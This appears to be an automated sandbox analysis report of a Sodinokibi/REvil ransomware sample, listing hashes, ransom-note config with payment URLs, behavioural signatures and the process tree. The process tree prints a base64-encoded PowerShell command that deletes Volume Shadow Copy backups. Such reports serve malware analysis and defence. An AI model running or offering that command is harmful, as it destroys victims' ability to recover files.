Analysis
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max time kernel
118s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-04-2024 13:54
Static task
static1
Behavioral task
behavioral1
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
Resource
win10v2004-20240226-en
General
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Target
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
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Size
166KB
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MD5
44c753ed1faec948b0d98bc9ba047469
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SHA1
1aa2d575752dcfa73ea8bd2fa666e18588be353c
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SHA256
6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01
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SHA512
f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0
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SSDEEP
3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1
Malware Config
Extracted
C:\Users\t54je3m-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF33C9C38B668BDC
http://decryptor.cc/FF33C9C38B668BDC
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\X: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\H: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\I: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Y: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Q: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\F: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\B: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\J: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\L: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\T: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\V: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\G: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\K: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\Z: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\D: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\P: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\U: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\S: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\W: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\N: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\O: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\R: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\A: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened (read-only) \??\E: 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\e4n.bmp" 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Drops file in Program Files directory 35 IoCs
description ioc Process File opened for modification \??\c:\program files\InitializeHide.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\t54je3m-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\BlockDeny.TS 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ConvertDeny.jfif 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ConvertToUnpublish.vb 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ExitSubmit.mht 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\CompleteRead.wmx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SwitchEnable.aiff 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\t54je3m-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\PopWrite.bmp 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ShowPing.bmp 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\WaitUpdate.xls 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\t54je3m-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\DismountRead.ADT 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\EnableEnter.mov 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ImportReset.ttf 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\InitializeUndo.TS 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UseTrace.wps 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files\t54je3m-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\HideSwitch.mp4 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\OutRestore.mpeg2 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\RevokeMerge.ps1xml 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\AddExport.mpe 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UseExport.M2T 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\PingConvert.TS 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\WatchStop.wdp 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\StopDebug.wma 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\SyncSkip.vstx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UnblockRegister.mpe 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\UnlockProtect.vstx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\ConvertToUnblock.xht 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\EditPing.mp4v 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\FormatExit.001 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File opened for modification \??\c:\program files\InstallPublish.wmx 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\t54je3m-readme.txt 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 1136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe Token: SeDebugPrivilege 1136 powershell.exe Token: SeBackupPrivilege 2636 vssvc.exe Token: SeRestorePrivilege 2636 vssvc.exe Token: SeAuditPrivilege 2636 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2216 wrote to memory of 1136 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 28 PID 2216 wrote to memory of 1136 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 28 PID 2216 wrote to memory of 1136 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 28 PID 2216 wrote to memory of 1136 2216 6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe 28 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"C:\Users\Admin\AppData\Local\Temp\6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2836
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD53c9c62c94310c46280dbfde08011de64
SHA1c250864bd21deb4339bfbcacba4b2b33cfbb4eac
SHA25613526b70f86c0fa6df72295c30998673bcaa91588f5a57c947a6cbd3747a320d
SHA5121a5fb59a49dccf827735d80e2c370b06e8a373c9fb44dcaa9a8e5117ecdb567e871605def1be7d85098e41cb0289770149a5156becdd359de27caace649fb642